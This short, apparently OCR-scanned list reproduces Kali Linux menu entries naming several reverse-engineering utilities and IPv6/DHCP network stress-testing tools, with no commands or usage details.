Kali Linux | Reverse Engineering [ Misc RE Tools rahash2

Kali Linux | Reverse Engineering [ Misc RE Tools rarun2

Kali Linux | Reverse Engineering [ Misc RE Tools rax2

Kali Linux | Stress Testing Network Stress Testing denial6

Kali Linux | Stress Testing Network Stress Testing dhcpig

Kali Linux | Stress Testing Network Stress Testing dos-new-ip6
Kali Linux | Stress Testing Network Stress Testing flood_advertise6
Kali Linux | Stress Testing Network Stress Testing flood_dhcpcé




Kali Linux | Stress Testing Network Stress Testing flood_mld6
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